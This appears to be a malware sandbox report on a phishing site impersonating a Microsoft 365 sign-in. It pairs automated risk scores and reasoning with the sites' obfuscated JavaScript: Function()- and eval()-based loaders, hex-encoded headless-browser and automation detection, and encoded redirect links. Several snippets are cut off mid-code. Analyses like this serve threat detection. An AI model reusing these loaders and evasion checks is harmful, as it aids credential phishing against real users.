let Azqif = "#diego.zonta@beantech.it";Function("'a2zx^s,pqi&n!pv_uku{2zcui]zew8o+86ki%315,rs@%4ttqgmg^yct1~[v,h_^!@#1f!wpmw_z@%o2}mq_7-7%+#4yeyoln48_jt6e336-xe6[^-jq5&e_1]e^}hae15pas]~2yh}76m1hz-frz~he3cna+v89g.uw96}vckrv-nk~in@[2}uw4ulz-2so&~!j],_9lm@he5l]r3g3[_sca{^476j#y9me[35kp891w,7yr@lt%85wuec+24s8~&gc+ojiuni5[}g1l{6k,~zkfqeft}ue[cqzpek@9aa~%&a%-!y&6xs.-w9v9x{yl7@r{v5jgx!lo#%p+xrfewjif{@4+#xx+77^[qn-e-x]i}1}~wr{{,u5ple.o26.{f4az&o.c3,o&f#ifpsm2]4t&75[c~qevl2}#1th..{]j_v#oj[7!hevk.8i]!,jf84qm.sx!gg^9%h8ms3mr_akp%q9t&.ntn^rh!yne]3#++y@,g#^';_A50H35mL12qk99eWjM12SQ049X1R4ejpfo=(_A50H35mL12qk99eWjM12SQ049X1R4ejelect)=>!_A50H35mL12qk99eWjM12SQ049X1R4ejelect?\"0QsupcVnlVictmeF\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz()](/[nmVc0eFuQ]/g,\"\"):(_A50H35mL12qk99eWjM12SQ049X1R4ejelect==1?\"JVfpomwrwvEVXax6c41mhp\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz()](/[wxpm1v6X4VJ]/g,\"\"):\"ZrFSMsuJnpgc054tUijoIMnUYg\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz()](/[Y4ZjsMg5Spr0IUJ]/g,\"\"));_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz=()=>\"\\162\\145\\160\\154\\141\\143\\145\";(_FQRTR8s014sl4bYL6zNU0Wq10B=>\"_C6u4T6cj6b9._XZQhqrh2X2CLzKdRPT9nEG1Td2B31445tyKkTJa23EtU=\\\"CZZBRJLYJEHHRIQZCWVDKBGMQECLKFRZVAZUUYLSGIDSZIWJHSKVYZLBOUZFLCP\\\"(function(_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM,_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz,_LC5w4zq58F1R4gGj7vyKm8g74EBmws,_J6yR511Z3DYBfBR41){_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM=this;_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz=\\\"\\\\162\\\\145\\\\160\\\\154\\\\141\\\\143\\\\145\\\";_$={};\\\"_BmvY25CX9c7MxK96rKQh0P5I75LCn52aJrPZ23o2vmhvpPSBmAEwpshr1Fe14v63eRKCnNt3FDQe3ZfW7aiLUu0loQtYK6W3hoiQL0K1URws4AZYENFC7_WcU57JawHBdRKQd2BWEj9Cv2ecnC7tBToL4F5ipsY2JtueCAFn41yeoAGrgWBTRgAFW1GjYQJuB5p79wHCcyKo24_NtV8AKi5KMt5BzE361qtCR58i0M4VeR88rFH1r2KYoHL5rGARLAY85HKG1VF2_OZCd9m9nFI6h1zhJHZIUIr8RWejwmBToGYGvdTeFEfG2vqeghnWQtK9ULlKiYsVUtYkxefnxwe040r7u9dVU8TWxqB2KfYjQRG47hkgwFlu0I_XAuZWPM8a8nVB5qrlN8WUFUZzr5LEGkdJsqehrWX6rW48o8LrETq8qEh6LW4TX\\\"[\\\"9FsvIphlKFieP7t2Z\\\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](/[FPhv9ZK7I2e]/g,\\\"\\\")](\\\"\\\")[\\\"6NfdZeoIdrUEb1aCic2QShVKK\\\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](/[IbZQeCdKNiVSU162]/g,\\\"\\\")]((_M4474dL1tem,_V40SJA477a86CuSIKKjS5sar6)=>{_V40SJA477a86CuSIKKjS5sar6=_M4474dL1tem[\\\"9FsvIphlKFieP7t2Z\\\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](/[FPhv9ZK7I2e]/g,\\\"\\\")](\\\"\\\");_V77u0W95chN2s6C2VUJ84CW9S=_V40SJA477a86CuSIKKjS5sar6[1][\\\"9FsvIphlKFieP7t2Z\\\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](/[FPhv9ZK7I2e]/g,\\\"\\\")](\\\"\\\");_$[_V40SJA477a86CuSIKKjS5sar6[0]]=_V77u0W95chN2s6C2VUJ84CW9S[0][_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](new _CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM[\\\"QRlaeWk9gwEo2zxfy3pHu\\\"[_QTW7v07E7O88q9h34lb8s995Gkyp1qUk0c1B3e75Bz](/[9ulkWH2waQf3ozy]/g,\\\"\\\")](\\\"[\\\"+_V77u0W95chN2s6C2VUJ84CW9S[1]+\\\"]\\\",\\\"g\\\"),\\\"\\\");});_LC5w4zq58F1R4gGj7vyKm8g74EBmws=(_J6yR511Z3DYBfBR41)=>{_J6yR511Z3DYBfBR41[_$._BmvY25CX9c7MxK96rKQh0P5I75LCn52aJrPZ23o2vmhvpPSBm]();_C6u4T6cj6b9['0']();};_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM[_$._WcU57](_$._NtV8AKi5KMt5BzE361qtCR58i0M4,_LC5w4zq58F1R4gGj7vyKm8g74EBmws);_C6u4T6cj6b9['0']=()=>{_CSgW2h408JE8rsx9h4xZ2qQ6Acwt0SmsS7IVzB2C71LkMLnM[_$._OZCd9m9nFI6h1zhJHZIU](_$._XAuZWPM8a8nVB5qrlN8WUFUZzr5LEGkdJs,_LC5w4zq58F1R4gGj7vyKm8g74EBmws);};})();_C6u4T6cj6b9._ZRHfJgjD4rUI89H9Qyc7bK8xG=\\\"D75ac734a1;e7be855c22F9C,9922YA4^a769750b22c92D527D74d6eF730b3208dFA67D441ae1b88f562CF3Ca9169F32acTX90c2fb7XXY58c5329FHC79X653c02D9AL774X14ebb28951ebd1D9fY66Yd941ae1c92Y171df51b1175cb35dcf46Y0197bL02Xcf3Da9&d50a92d7c1D9X=830XX5fbc299fbe6cX646YX38A6fe6A93416D22a0+470e243AD288Y#21ce03Xac1c82AA5Yc944a71286XA567F2DA7C688ee52d237A0U277e94DY9X294126eX457702C98Y778D9436Y1A8af362d4*766ef4FFY5bDD124bce3YA81582XF5CC936A3107dea57C4319e}b78e56e126FXY4FC3346b1068X6N1ADXYa0C632A214ADX760ef2De23CA71682c620cb47ad#F8def62CXF599D78cY64FC12
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to potentially malicious domains. The use of an iframe to load additional scripts and the obfuscated nature of the code further increase the risk. While the script may have a legitimate purpose, such as a challenge platform, the overall behavior is highly suspicious and indicative of a potential security threat." }
(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8fe3f49d7f5cc345',t:'MTczNjI1Mjk4OS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange\|\|function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/FTbyrP... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet exhibits several moderate-risk behaviors, including external data transmission, fallback domains, and aggressive DOM manipulation. While there are no clear indicators of malicious intent, the overall behavior suggests the script may be overly aggressive or poorly implemented, requiring further review." }
window.ZX983({ B1: true, T8: true, R7: true, G4: true, Y5: true, K9: true, N0: true }); document.addEventListener('DOMContentLoaded', () => { const debug = false; // PHP variables const encodedText = "U2lnbi1pbiBvcHRpb25z"; const decodedText = atob(encodedText); const random = "https://href.li/?https://en.wikipedia.org/wiki/List_of_Microsoft_365_Applications"; const defaultBackground = "data:image/png;base64,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
URL: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a part of the CryptoJS library, which is a well-known and widely used cryptography library. It does not contain any high-risk indicators such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code primarily focuses on cryptographic operations and utility functions, which are common in legitimate applications. While it uses some legacy practices like the `XDomainRequest` API, these pose only minor risks and are not inherently malicious. Overall, the script seems to be a benign implementation of common cryptographic functionality." }
!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var e={},o=e.lib={},s=o.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},f=o.WordArray=s.extend({init:function(t,e){t=this.words=t\|\|[],this.sigBytes=null!=e?e:4t.length},toString:function(t){return(t\|\|a).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%48,t.length=l.ceil(e/4)},clone:function(){var t=s.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(i());return new f.init(e,t)}}),c=e.enc={},a=c.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]\|=parseInt(t.substr(i,2),16)<<24-i%84;return new f.init(r,e/2)}},h=c.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%48&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]\|=(255&t.charCodeAt(i))<<24-i%48;return new f.init(r,e)}},d=c.Utf8={stringify:function(t){try{return decodeURIComponent(escape(h.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return h.parse(unescape(encodeURIComponent(t)))}},u=o.BufferedBlockAlgorithm=s.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i,h);e=i.splice(0,c),r.sigBytes-=a}return new f.init(e,a)},clone:function(){var t=s.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),p=(o.Hasher=u.extend({cfg:s.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){u.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,e){return new p.HMA
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()` and obfuscated code. It also sets a cookie with an expiration date in the future, which could be used for malicious purposes. The script appears to be testing for the presence of various headless browser and automation tools, suggesting it may be attempting to evade detection. Overall, the combination of these behaviors indicates a high likelihood of malicious intent, warranting a risk score of 9." }
eval(decodeURIComponent(escape('\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x61\x20\x3D\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x20\x7B\x74\x72\x79\x7B\x72\x65\x74\x75\x72\x6E\x20\x21\x21\x77\x69\x6E\x64\x6F\x77\x2E\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x7D\x20\x63\x61\x74\x63\x68\x28\x65\x29\x20\x7B\x72\x65\x74\x75\x72\x6E\x20\x21\x31\x7D\x20\x7D\x2C\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x20\x3D\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x62\x2C\x20\x63\x29\x20\x7B\x61\x28\x29\x20\x3F\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72\x28\x22\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64\x22\x2C\x20\x62\x2C\x20\x63\x29\x20\x3A\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74\x28\x22\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65\x22\x2C\x20\x62\x29\x7D\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x62\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x28\x29\x7B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x6E\x6F\x77\x20\x3D\x20\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x76\x61\x72\x20\x74\x69\x6D\x65\x20\x3D\x20\x6E\x6F\x77\x2E\x67\x65\x74\x54\x69\x6D\x65\x28\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x69\x6D\x65\x20\x2B\x3D\x20\x33\x30\x30\x20\x2A\x20\x31\x30\x30\x30\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6E\x6F\x77\x2E\x73\x65\x74\x54\x69\x6D\x65\x28\x74\x69\x6D\x65\x29\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x20\x3D\x20\x27\x5A\x32\x38\x54\x43\x47\x67\x79\x6B\x73\x41\x79\x6E\x39\x77\x38\x70\x71\x47\x56\x70\x6B\x63\x57\x39\x44\x55\x3D\x32\x34\x56\x35\x66\x64\x5F\x53\x71\x47\x66\x79\x6E\x43\x73\x48\x6D\x41\x4A\x62\x6C\x39\x79\x53\x6E\x64\x41\x27\x20\x2B\x20\x27\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D\x27\x20\x2B\x20\x27\x57\x65\x64\x2C\x20\x30\x38\x2D\x4A\x61\x6E\x2D\x32\x35\x20\x31\x32\x3A\x32\x39\x3A\x34\x37\x20\x47\x4D\x54\x27\x20\x2B\x20\x27\x3B\x20\x70\x61\x74\x68\x3D\x2F\x27\x3B\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2F\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x70\x75\x7A\x7A\x6C\x65\x20\x66\x6F\x72\x20\x62\x72\x6F\x77\x73\x65\x72\x20\x74\x6F\x20\x66\x69\x67\x75\x72\x65\x20\x6F\x75\x74\x20\x74\x6F\x20\x67\x65\x74\x20\x61\x6E\x73\x77\x65\x72\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x5F\x70\x68\x61\x6E\x74\x6F\x6D\x20\x7C\x7C\x20\x21\x77\x69\x6E\x64\x6F\x77\x2E\x63\x61\x6C\x6C\x50\x68\x61\x6E\x74\x6F\x6D\x29\x7B\x2F\x2A\x70\x68\x61\x6E\x74\x6F\x6D\x6A\x73\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x5F\x5F\x70\x68\x61\x6E\x74\x6F\x6D\x61\x73\x29\x7B\x2F\x2A\x70\x68\x61\x6E\x74\x6F\x6D\x61\x73\x20\x50\x68\x61\x6E\x74\x6F\x6D\x4A\x53\x2D\x62\x61\x73\x65\x64\x20\x77\x65\x62\x20\x70\x65\x72\x66\x20\x6D\x65\x74\x72\x69\x63\x73\x20\x2B\x20\x6D\x6F\x6E\x69\x74\x6F\x72\x69\x6E\x67\x20\x74\x6F\x6F\x6C\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x42\x75\x66\x66\x65\x72\x29\x7B\x2F\x2A\x6E\x6F\x64\x65\x6A\x73\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x65\x6D\x69\x74\x29\x7B\x2F\x2A\x63\x6F\x75\x63\x68\x6A\x73\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x73\x70\x61\x77\x6E\x29\x7B\x2F\x2A\x72\x68\x69\x6E\x6F\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E\x77\x65\x62\x64\x72\x69\x76\x65\x72\x29\x7B\x2F\x2A\x73\x65\x6C\x65\x6E\x69\x75\x6D\x2A\x2F\x0A\x69\x66\x28\x21\x77\x69\x6E\x64\x6F\x77\x2E
URL: https://outsourcel.com.au/w3ertyuiu8y7654ty/#diego... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `eval`, `Function` constructor, and heavily encoded strings indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to redirect the user to an unknown or suspicious domain, which further increases the risk. Overall, this script demonstrates a clear pattern of malicious behavior and should be considered a high-risk threat." }
var link = "RlRieXJQYXJIaEpHTjA1MXpDNWVrVXdEcEh1RThndVVLc3RKYkk3ZlBPanRVbXhobGRWNXFub0dPTDZjZGp3VGJScUhhMkZOU3RGeUpEWGs2c25qTXZpVlFLb0lBQURNcGNab25nY1c0cXg5OENlWjFCMTdsRTQ0UmRZWG1ZTGdDVDNWR1EwM1NTUlA4d1c2QWhyTnB5"; var random = "aHR0cHM6Ly9ocmVmLmxpLz9odHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9NaWNyb3NvZnRfT2ZmaWNlX01peA=="; var autograb = false; const _0x370772=_0x4de9;(function(_0x4f6b79,_0x5e87a3){const _0x23902b=_0x4de9,_0x1aa4ca=_0x4f6b79();while(!![]){try{const _0x4ecf9d=parseInt(_0x23902b(0x1f2))/0x1(-parseInt(_0x23902b(0x1ff))/0x2)+parseInt(_0x23902b(0x202))/0x3+parseInt(_0x23902b(0x201))/0x4(parseInt(_0x23902b(0x215))/0x5)+parseInt(_0x23902b(0x210))/0x6+-parseInt(_0x23902b(0x200))/0x7(-parseInt(_0x23902b(0x1fe))/0x8)+-parseInt(_0x23902b(0x1f8))/0x9+-parseInt(_0x23902b(0x1ed))/0xa(parseInt(_0x23902b(0x1fd))/0xb);if(_0x4ecf9d===_0x5e87a3)break;else _0x1aa4ca['push'](_0x1aa4ca['shift']());}catch(_0x5e20f3){_0x1aa4ca['push'](_0x1aa4ca['shift']());}}}(_0x5cca,0xe5b41));const _0x6d4a3c=(function(){let _0x5cc2bf=!![];return function(_0x9b77da,_0x135712){const _0xf77bb9=_0x5cc2bf?function(){const _0xec2e23=_0x4de9;if(_0x135712){const _0x101ef2=_0x135712[_0xec2e23(0x204)](_0x9b77da,arguments);return _0x135712=null,_0x101ef2;}}:function(){};return _0x5cc2bf=![],_0xf77bb9;};}()),_0x487215=_0x6d4a3c(this,function(){const _0x34a2de=_0x4de9;return _0x487215[_0x34a2de(0x1f3)]()['search'](_0x34a2de(0x1ee))[_0x34a2de(0x1f3)]()[_0x34a2de(0x212)](_0x487215)['search'](_0x34a2de(0x1ee));});_0x487215();const _0x5dbfa7=(function(){let _0x4b0e96=!![];return function(_0xd5d4f3,_0xaef652){const _0x53ffda=_0x4b0e96?function(){if(_0xaef652){const _0x48e2d4=_0xaef652['apply'](_0xd5d4f3,arguments);return _0xaef652=null,_0x48e2d4;}}:function(){};return _0x4b0e96=![],_0x53ffda;};}());(function(){_0x5dbfa7(this,function(){const _0x13ac30=_0x4de9,_0x97b71d=new 